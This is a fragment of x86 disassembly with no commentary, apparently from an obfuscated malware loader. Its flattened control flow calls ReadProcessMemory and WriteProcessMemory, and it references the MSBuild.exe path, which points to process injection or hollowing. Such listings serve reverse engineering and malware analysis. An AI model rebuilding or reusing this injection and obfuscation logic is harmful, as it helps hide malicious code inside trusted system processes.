mov ecx, 0x5ab36ce6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov dword [ebp - 0x110], 0x3c49304d
jmp 0x10005e8f
mov dword [ebp - 0x110], 0x29b63ee8
jmp 0x10005e8f
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x110], 0x951e9fec
jmp 0x10005e8f
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x110], 0xab7a8a14
jmp 0x10005e8f
mov dword [ebp - 0x110], 0x35b865c0
jmp 0x10005e8f
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
add edx, 0x9a1d5533
sub edx, 1
sub edx, 0x9a1d5533
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x55abe22f
mov ecx, 0xdabe700f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov dword [ebp - 0x110], 0x8a2a05e3
jmp 0x10005e8f
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100066d0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x110], 0xa18056c4
jmp 0x10005e8f
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x110], 0xd629822b
jmp 0x10005e8f
mov eax, dword [ebp - 0xa8]
cmp dword [eax + 0x70], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xf4]
mov byte [eax], cl
mov eax, dword [ebp - 0xf0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x110], 0xf3594d21
jmp 0x10005e8f
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x10c]
mov edx, dword [ebp - 0xe8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xfc]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x110], 0x5e1e999e
jmp 0x10005e8f
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x110], 0xb51b3cff
jmp 0x10005e8f
mov dword [ebp - 0x110], 0x2ed7cdef
jmp 0x10005e8f
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x110], 0xec9d8265
jmp 0x10005e8f
mov eax, dword [ebp - 0xfc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x30]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x110], 0x22c0a9f7
jmp 0x10005e8f
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
mov dword [ebp - 0x110], 0x8008b8ec
jmp 0x10005e8f
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x1c]
mov dword [eax], ecx
mov dword [ebp - 0x110], 0x87e3c072
jmp 0x10005e8f
jmp 0x10002bf0